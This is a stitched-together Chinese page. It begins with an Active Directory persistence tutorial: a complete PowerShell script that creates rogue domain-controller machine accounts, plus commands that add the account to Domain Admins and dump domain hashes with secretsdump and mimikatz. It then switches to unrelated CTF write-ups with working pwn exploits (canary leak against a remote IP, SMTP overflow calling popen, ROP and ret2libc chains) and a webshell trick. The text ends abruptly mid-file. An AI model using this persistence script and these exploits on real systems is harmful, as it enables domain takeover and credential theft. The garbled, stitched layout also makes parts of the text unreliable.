如下图所示,此时 PENTEST$ 账户已经是一台域控制器了。

0w5yzarnzbv15523.png

(4)由于其拥有所需的特权并且账户密码已知,所以在普通域主机上可直接通过 secretsdump.py 执行 DCSync 操作来导出域用户哈希,如图所示。

python3 secretsdump.py pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc

l0lu20yfw5k15530.png

根据上述利用过程,编写了一个简单的 PowerShell 脚本 NewDomainController.ps1,以下是完整的代码:

Function NewDomainController {
<#
.SYNOPSIS
    This script will create a new domain controller account in the domain for the purpose of domain persistence.
.DESCRIPTION
    In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit 
    field. Different flags represent different user information. The value of this attribute is the sum of all 
    flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000 
    and decimal value is 8192, which is used to indicate that the account is the machine account of the domain 
    controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set, 
    Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group. 
    So just change userAccountControl to grant domain controller privileges to normal domain member machines.
.LINK
    https://whoamianony.top/domain-persistence-machine-accounts/
.PARAMETER Domain
    Specifies the domain name, if omitted, the domain name will be obtained automatically.
.PARAMETER DomainController
    Specifies the FQDN of the domain controller.
.PARAMETER MachineAccount
    Specifies the name of the machine account to be created.
.PARAMETER Password
    Specifies the password of the machine account to be created.
.OUTPUTS
    Output will be shown in the console
.NOTES
    Version:        0.1
    Author:         WHOAMI
    Date:           01/18/2022
.EXAMPLE
    NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"
#>

    param (
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Domain,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$DomainController,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$MachineAccount,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Password
    )


    function FormatStatus([string]$Flag, [string]$Message) {
        If($Flag -eq "1") {
            Write-Host "[+] " -ForegroundColor:Green -NoNewline
            Write-Host $Message
        }ElseIf($Flag -eq "0") {
            Write-Host "[-] " -ForegroundColor:Red -NoNewline
            Write-Host $Message
        }
    }
    

    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")

    if($Password)
    {
        $SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
        $PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
        $PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR)
        $PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"')
    }

    if(!$DomainController -or !$Domain)
    {
        try
        {
            $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            FormatStatus 0 "$($_.Exception.Message)"
            throw
        }

        if(!$DomainController)
        {
            $DomainController = $CurrentDomain.PdcRoleOwner.Name
            FormatStatus 1 "Get Domain Controller: $DomainController"
        }

        if(!$Domain)
        {
            $Domain = $CurrentDomain.Name
            $Domain = $Domain.ToLower()
            FormatStatus 1 "Get Domain Name: $Domain"
        }
    }

    $_MachineAccount = $MachineAccount

    if($MachineAccount.EndsWith('$'))
    {
        $SAMAccountName = $_MachineAccount
        $_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1)
    }
    else 
    {
        $SAMAccountName = $_MachineAccount + "$"
    }

    FormatStatus 1 "Get SAMAccountName: $SAMAccountName" 


    $DistinguishedName = "CN=$_MachineAccount,CN=Computers"
    $DC_array = $Domain.Split(".")

    ForEach($DC in $DC_array)
    {
        $DistinguishedName += ",DC=$DC"
    }

    FormatStatus 1 "Get DistinguishedName: $DistinguishedName"

    FormatStatus 1 "Start creating a machine account $MachineAccount"
    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
    $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)

    $connection.SessionOptions.Sealing = $true
    $connection.SessionOptions.Signing = $true
    $connection.Bind()
    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName"
    $request.DistinguishedName = $DistinguishedName
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null
    FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null
    FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null
    FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null
    FormatStatus 1 "Set the password for the $MachineAccount account to $Password"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null

    try
    {
        $connection.SendRequest($request) > $null
        FormatStatus 1  "Create machine account $MachineAccount successfully"
    }
    catch
    {
        FormatStatus 0  "$($_.Exception.Message)"

        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
        {
            FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit"
        }

    }
}

运行该脚本即可创建一个新的域控账户,如下图所示。

Import-Module .\NewDomainController.ps1
NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"

mh3smpgiqwo15534.png

机器帐户可以属于安全组,因此可以直接将机器账户加入特权组,以实现域持久性。例如,执行以下命令,将机器账户 PENTEST$ 加入到域管理员组(Domain Admins),如下图所示。

net group "Domain Admins" PENTEST$ /add /domain

wiv5fbfcdwe15539.png

如图下所示,获得域管理员权限的机器账户可成功导出域内用户哈希

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc-user  "PENTEST\Administrator"

klnd235e2zq15544.png

值得注意的是,如果机器账户位于像 Domain Admins 这样的特权组,那么机器账户是被允许登录的,如下图所示:

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11

lk2sv1ga5xt15548.png


python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc-user krbtgt2cqb3mbhw4s15552.jpg

0x02  实验测试一(推荐使用)

添加机器用户DCBAK(UserAccountControl 为 8192),密码为123456(密码写死的,需要修改密码,可自行修改,重新编译)

工具地址:https://github.com/chibd2000/hyscan

添加机器用户命令:

hyscan.exe --scantype ldapscan --ldaptype addComputerUac8192 --domainName hengge.com --pcname DCBACK --dc 192.168.4.11

可以看到当UserAccountControl 为 8192的时候,此时隶属于domain controller组中

fon1vhkh4jw15558.png

查看域控制器成员,发现机器用户DCBAK已在列表中

  net group "domain controllers" /domain

bb325jyt0ct15561.png

在一台WIN-SKE-PC普通域机器中进行维权操作,这里通过命令runas进行远程CMD命令执行。

 runas /user:hengge.com\dcback /netonly cmd

wskwxzwmkj115564.png

在机器用户DCBAK的网络令牌下进行DCYNC的DUMP出域的hash

mimikatz.exe "lsadump::dcsync /domain:attack.local /all /csv" exit

mktnjyosehy15567.png

impacket serectdump进行DCYNC的DUMP出域的hash

python secretsdump.py hengge.com/dcback$@192.168.4.11 -hashes 32ed87bdb5fdc5e9cba88547376818d4:32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm

qjhi5rgkboc15570.png



参考文章https://whoamianony.top/domain-persistence-machine-accounts/https://itach1.com/archives/102/#cl-1https://adsecurity.org/?p=2753  https://www.cnblogs.com/zpchcbd/p/15840413.htmlhttps://stealthbits.com/blog/server-untrust-account/

1.Web

1-1:题目名称:目录扫描

l5y0lbtvzjy15509.jpg

3ptlnbboz5e15511.jpg

a1k3rhhix1o15527.jpg

Flag:

DASCTF{84a70245035ca88088a2ba6ae2378021}

 

1-3:题目名称:MissingData

 

主要就是开头ob_start();所以所有输出都会存到缓冲区,用户手动取输出

所以文件名$this->LOG_NAMEhello获得:

$hello = $_GET['hello'];

echo $hello;

$this->LOG_NAME = base64_decode(ob_get_contents());//就把hello传过来的值存到LOG_NAME

ob_clean();

 

文件内容就是REMOTE_ADDR连接UA

$getlog->setIp($_SERVER['REMOTE_ADDR']);

$getlog->setUserAgent($_SERVER['HTTP_USER_AGENT']);

$getlog->echoLog();

$log_info = date("Y-m-d H:i:s ").ob_get_contents();

 

 

 

最末尾析构函数会写日志

public $LOG_PATH = "/log/";

file_put_contents(dirname(__FILE__).$this->LOG_PATH.$this->LOG_NAME,$log_info);

//路径也就是./log/$_GET['hello']

//文件内容用UA写个一句话就OK

把输出都先丢缓冲区然后存文件里了,文件名由hello控制,文件内容ua写个一句话就行了

s3145kcltv115529.jpg

aevjw1jplwv15533.jpg

izxrx3nkabg15538.jpg

 

 

 

2.MISC

2-3-题目名称:0101

 

p4i0vse3gge15541.jpg

tceerechfbi15546.jpg

发现是pk开头,是zip压缩包,改成a.zip

使用以下脚本进行得到flag:

importzipfile

z = zipfile.ZipFile('./a.zip')

foriinz.filelist:
print(i)

s = ''
foriinrange(304):
x = z.getinfo(f'file/{i}.png')
ifx.file_size>500:
s += '0'
else:
s += '1'
# print(s)
print(int.to_bytes(int(s, 2), 304//8, 'big'))

flag: DASCTF{Jo2YAKT_IcRgmzZ3GWe_Swt8vqadQO}

 

3.CRYPTO

3-1题目名称:soeasy_rsa

 

from gmpy2 import *

from Crypto.Util.number import *

a=23804021940078676408342301332036892900004728136480076479530219752065125327318821647722459216095770264965388973551323635311313178838670860487788476788686756050157264721772586844596306406576857878507037529439070526513923394974678433717664180257965624133033383511215139076867891548866207158515487182813656668091870588002638518245252590786003914393372830494390833657940568569618842104970029260363695053572749495893999945220493935637334868029460448282514843103145795102173534495304156971490358608124680851055950154432367509652612855903019752959349069234185596982394068554146096092741880878895682860091022727772496856721290

p=iroot(a,2)

print(p)

p=154285520837435281376516898144008792793020984180192603663692347665042795645086703863131549256869630446819852185017005249707039620525550780754809067914632509810226131750340822324265288338519653179637243674514007442185191001273565127093303845334544550007384054303733880561987508919843229875482519439615469904551

print(is_prime(p))

c1 = 75949211970645260477840809230795170598275394663655585446502049744151634977806266592064437936389888280642329073167371358021391264606028082728274944584341647324957857195053188220196244561623697425292916511744852569537275299008074069250282222480373555169325242455879869868679935977005580843853804599341730525546675515324718058489296906319060874296111833437083796029771812

c2 = 77907941155376849046818020584594846942386293571953448410760364023962818506838837521412252753647936913064982141652362831680077554268552176063108954360620095019160785058740575077744544616439692739387312706279917959252426192939648962492950940347253817951644007140862267776520611944302335981903665518644840891111449931544355548130487697653008605945892957382219567188182572

q=iroot(a-(p**2),2)

print(q)

q=888347358062191513488156436138991579826598872460149267394117

 

n=p*q

for e in range(2**16):

 

try:

        d=invert(e,(p-1)*(q-1))

        m=pow(c1,d,n)

        m=long_to_bytes(m)

        if b'DASCTF' in m:

            print(e)

            print(m)

except:pass

ehzcej3h1nd15550.jpg

3-2题目名称:middlersa1

dp低位泄露,直接sagemath还原dp

fromtqdmimport*
secret = 1642122247947767590084047512154856959705749371720710428047250478126321193705946117104552307567185209952017
e = 0x10001
n = 53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651

F.<x> = PolynomialRing(Zmod(n))
d = inverse_mod(e, n)
forkintrange(1, e):
   
f = (2^350*x+secret ) + (k-1) *d
   
f=f.monic()
   
x0 = f.small_roots(X=2** (160+1), beta=0.44, epsilon=1/32)
   
iflen(x0) != 0:
       
dp = x0[0]*2^350+secret
       
foriinrange(2, e):
           
p = (e*Integer(dp) -1+i) //i
           
ifn%p == 0:
               
break
       
ifp<0:
           
continue
       
else:
           
print('p =',p)
           
print('dp =',dp)
           
break
 
 
charon@root:~/Desktop$sage3.sage
 
3%|                                  |2131/65536 [04:20<2:15:43,  7.79it/s]('p =', 7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429)
(
'dp =', 236998137622790233327677438136615897248743961007000625548260712756987527361785137753678241058692497066300617725336085425448365495410315866728234083256081)
 
3%|                                  |2131/65536 [04:20<2:09:08,  8.18it/s]
 
 
fromCrypto.Util.numberimport*
fromgmpy2import*

p=7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429
n=53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651
c=12164583901228226723569831803555747425419794714331207509347997795520206866173813478558747259319024376651968008838562856265966903471803669392265118265704723742518812401306445616633449971845569756343283456918105040589961351125414282181230864299705837250020888494290318050869813023592249838047791552928679622761
print(is_prime(p))
print(gcd(n,p))
q=n//p
e = 0x10001
d=invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

svluopxlyqf15555.jpg

DASCTF{6f05154b11bdf950cd2444176618139a}

 

3-3 题目名称:middlersa3

白给,直接源码中给了flag

fromCrypto.Util.numberimport*

FLAG = b'DASCTF{ed3256281d277e12d926b0e8b49f6d78}'

p = getPrime(512)
q = getPrime(512)
e = 0x10001
d = inverse(e, (p-1)*(q-1))
dp = d% (p-1)

print('dp:', (dp&(2**(512-50)-1))>>50)
print('N:', p*q)
print('c:', pow(bytes_to_long(FLAG), e, p*q))

'''
dp: 2128058695275696512876004752540135766587344290422001997701794179770820634047195468195463118189149674857434252592319139131895
N: 62750404132378782351782654563543747630197449894041776451397790050374158627602509619666444474672286035538086447514257150773929857058930455173191928959453666895924318267595065857666587937426343157432947610821599765514871454429345275531144349280502167596016574278216643741963132363234498658461551550399794413383
c: 55337446119274361069965649785140747071935055092480249085789478526259932536136231609682528797724708750732847686561672780887952659134484499521434824018747099238582445758002389884725560169750050917959735297922450030075064765749276015138482194721673506034988635977907296576683118011031333035476989567847885710256
'''
 

DASCTF{ed3256281d277e12d926b0e8b49f6d78}

 

4.RE

4-1题目名称:simpleDispy

 

pydis阅读题, 手动还原pydis验证算法.
arr = [47378,
      29475,
      46200,
      39869,
      67243,
      68695,
      73129,
      27171,
      53832,
      30653,
      60541,
      67276,
      58816,
      63571,
      50131,
      34471,
      67922,
      82293,
      33259,
      67538,
      57810,
      50339,
      34632,
      68754,
      83192,
      36077,
      60424,
      54547,
      56308,
      33565,
      69425,
      84024]

# 验证
k = 22643
flag = 't'*32
for i in range(32):
   num = (ord(flag[i])*255)+k
   if arr[i] != num:
       print('Error')
       break
   k = (k+num)&0xFFFF

# 还原flag
k = 22643
flag = ''
for i in range(32):
   flag += chr(((arr[i] - k)//255))
   k = (k+arr[i])&0xFFFF
print(flag)

sx21rpuffxj15571.jpg

flag: ab0c216ec63a9f984cbf8975ad63e09c

 

4-2题目名称:stripgo

v1=encoding_base64_NewEncoding((__int64)"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890", 64LL);
if ( v4==32&&runtime_memequal(v3, (__int64)"K/WyqBFyrUisB1Pse2KyDVYxM2CfMJ==", 32LL) )

变表base64

https://gchq.github.io/CyberChef/#recipe=From_Base64('QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/%2Bm1234567890',true,false)&input=Sy9XeXFCRnlyVWlzQjFQc2UyS3lEVll4TTJDZk1KPT0

G0_is_the_best_1anguge,

l4hyrzryyj015576.jpg

然后再进行md5加密

Flag: 3ffecbd5aa525bfdbfae5987e8f961f9

 

 

 

wtod00qyjmi15589.jpg

DASCTF{4c73ad66ef2a06aaa704e696f2dd1034}

5.PWN

5-1 题目名称:ez_canary

b05kvudhfpf15591.jpg

#!/usr/bin/env python3

#!coding: utf-8

 

from pwn import *

context.log_level = "debug"

 

magic = 0x000000000040121E

 

r = remote("43.143.139.234", 50905)

 

payload = b"k"*(0xa+1)

r.sendafter(b"Username:", payload)

 

canary = u64(b"\x00"+r.recv()[6+0xa+1:6+0xa+1+7])

payload2 = b"k"*(0x1c-8) + p64(canary) + b"k"*8 + p64(magic)

r.send(payload2)

r.interactive()

 

DASCTF{c0dfc9d2ed0169818388a379e6fca2e0}

anjmmvrs1zr15595.jpg

 

题目附件:

链接:https://pan.baidu.com/s/1KjEFjody2k_0hcjuK0nSag   提取码:55tt 

 

一、misc

1.题目名称:CyberSpace

先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓rikyroxyzbh15438.jpgb= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55]
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
crypto
strange_rsa1
将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可

2.题目名称:ezdct-svd

开局一张图

1rrpwujiqmv15442.jpg

根据题目名ezdct-svd就可以知道是dct的频域隐写,然后hint.txt为

我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着): watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128 block_shape = (8, 8) Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30

最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码,解量化的方法就是 int ((s[0] % scale) > scale * 0.5),思路就结束了,所以说图片先分块,然后用dct变换后再svd分解,取矩阵的最大特征值后解量化即可,据此写脚本得到

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:64*64].reshape(64,64)

plt.imshow(r)

plt.show()

其实这边有三个图层,但是一般都是先从r图层开始,这里可以很清楚的看见最上面有一长串的黑值,且长度为7,找到下一处长度为7的黑条,数了下长度为37,而37*37也正是二维码的尺寸,修改size即可得到flag二维码

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:37*37].reshape(37,37)

plt.imshow(r)

plt.show()


4xqhdt53o1y15448.png

flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}

二、crypto

1.题目名称:strange_rsa1

将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可n =108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c =23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift =0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938from Crypto.Util.number import *n=RealField(prec=512*2)(n)p1=n/giftprint(int(p1))from gmpy2 import *p=iroot(int(p1),2)[0]print(p)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034368import sympyfrom Crypto.Util.number import *import gmpy2floating_rng=500000for i in range(p-floating_rng, p+floating_rng):q = divmod(n,i)if q[1]==0:print("p 等于: ",i)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369q=n//pd=invert(65537,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#flag{a5537b232c1ab750e0db61ec352504a301b7b212}

三、pwn

1.题目名称:smtp

协议逆向,可知 sender_worker 有栈溢出#!/usr/bin/env python3from re import searchfrom pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcp = remote('127.0.0.1',9999)p.sendafter('220 SMTP tsmtp\n','HELOfxxk')p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")p.sendafter("250 Ok\n",b"RCPT TO:" + flat({0x100:[0x804d1d0,'a'*0xc,elf.plt.popen,'dead',0x804d140,elf.search(b'r\x00').__next__()]},length=0x200))p.sendafter('250 Ok\n','DATA')p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")p.interactive()p.close()

2.题目名称:note

菜单的逻辑,但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。
#!/usr/bin/env python3from pwncli import *cli_script()io:tube = gift["io"]elf:ELF = gift["elf"]libc:ELF = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugcontext.arch = 'amd64‘if gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcdef cmd(idx):sla('leave',str(idx))#0 ~ 0x1ffdef add(size,cont):cmd(1)sla('Size:',str(size))sla('Content:',str(cont))def show(idx):cmd(2)sla('Index:',str(idx))def edit(idx,cont):cmd(3)sla('Index:',str(idx))sa('Content:',(cont))def free(idx):cmd(4)sla('Index:',str(idx))gdb.attach(io,'b *0x401579')sleep(1)CurrentGadgets.set_find_area(1,0)edit(-4,flat({8:[CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),CurrentGadgets.pop_rdi_ret(),elf.bss(0x100),CurrentGadgets.ret(),elf.plt.puts]}))io.interactive()

3.题目名称:捉迷藏

简单的利用一下 angr 就行
import angrimport sysproj = angr.Project("pwn", auto_load_libs=False)state = proj.factory.blank_state(addr=0x4076BD)simu = proj.factory.simgr(state)simu.explore(find=0x4079C6, avoid=0x407A43)if simu.found:print("find!")solution = simu.found[0]key = solution.posix.dumps(sys.stdin.fileno())print(key)#get :'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libc
filename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugsa('sbAmJLMLWm:',"a "*8)sa('HuEqdjYtuWo:','a'*0x33)#sa('tfAxpqDQuTCyJw:','a'*8)sa('hbsoMdIRWpYRqvfClb:','a'*0x35)sa('tfAxpqDQuTCyJw:','a'*0x22)sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')sa('gRGKqIlcuj:',flat({0xf + 8:[0x401334]},length=0x37))io.interactive()

4.题目名称:ret2libc_aarch64

正如题目字面意思, ret2libc,不过是 aarch64
#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef leak(addr: int):sla(">", "1")sa("sensible>>\n", p64_ex(addr))return rl()def pwn(data):sla(">", "2")sla("sensible>>\n", data)msg = leak(elf.got.read)read_addr = (0x4000 << 24) + u64_ex(msg[:-1])log_address("read_addr", read_addr)lb = read_addr - 0x00000000000c3b40# 0x00128e80 binsh# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;# 0000000000040578 systemlog_address("target gadget", lb + 0x63e5c)data = flat({136: [lb + 0x63e5c,[lb + 0x000000000040578] * 5,lb + 0x00128e80,[lb + 0x000000000040578] * 5]})pwn(data)ia()

三、reverse

1.题目名称:small

以二进制文件形式,在 ida 中打开10wd3miklhi15451.jpg在适当的地址处,按 c 转成汇编代码,分析出是 TEA 加密, delta 和密钥均已知aifc4usj2ah15455.jpg在字符串”good”后找到密文ig4gzn3dj1u15458.jpg解密 TEA 即可得到 flag#include <stdio.h>#include <stdint.h>//加密函数void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum = 0, i;uint32_t delta = 0x67452301;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i < num_rounds; i++) {sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}v[0] = v0; v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i;uint32_t delta = 0x67452301,sum = delta*num_rounds;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i<num_rounds; i++) {v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0; v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t * v,int n,bool hex_or_chr){if(hex_or_chr){for(int i=0;i<n;i++){printf("0x%x,",v[i]);}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("\n");return;}int main(){// v 为要加解密的数据uint32_t v[] ={ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0x51dc88fb };// k 为加解密密钥, 4 个 32 位无符号整数,密钥长度为 128 位uint32_t k[4] = { 0x01,0x23,0x45,0x67 };// num_rounds,建议取值为 32unsigned int r = 35;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据: ");dump_data(v,n,1);for(int i=0;i<n/2;i++){encrypt(r,&v[i*2], k);}printf("加密后密文数据: ");dump_data(v,n,1);*/for(int i=0;i<n/2;i++){decrypt(r,&v[i*2], k);}printf("解密后明文数据: ");dump_data(v,n,1);printf("解密后明文字符: ");dump_data(v,n,0);return 0;}// flag{327a6c4304ad5938eaf0efb6cc3e53dc}

2.题目名称:static

aes.c:
#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
void hexdump(void *pdata, int size) {  const uint8_t *p = (const uint8_t *)pdata;  int count = size / 16;  int rem = size % 16;
  for (int r = 0; r <= count; r++) {    int k = (r == count) ? rem : 16;    if (r)      printf("\n");    for (int i = 0; i < 16; i++) {      if (i < k)        printf("%02X ", p[i]);      else        printf("   ");    }    printf(" ");    for (int i = 0; i < k; i++) {      printf("%c", isprint(p[i]) ? p[i] : '.');    }    p += 0x10;  }  printf("\n");}
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBCmode. Block size can be chosen in aes.h - available choices are AES128, AES192,AES256.
The implementation is verified against the test vectors in:  National Institute of Standards and Technology Special Publication 800-38A2001 ED
ECB-AES128----------
  plain-text:    6bc1bee22e409f96e93d7e117393172a    ae2d8a571e03ac9c9eb76fac45af8e51    30c81c46a35ce411e5fbc1191a0a52ef    f69f2445df4f9b17ad2b417be66c3710
  key:    2b7e151628aed2a6abf7158809cf4f3c
  resulting cipher    3ad77bb40d7a3660a89ecaf32466ef97    f5d3d58503b9699de785895a96fdbaaf    43b1cd7f598ece23881b00e3ed030688    7b0c785e27e8ad3f8223207104725dd4

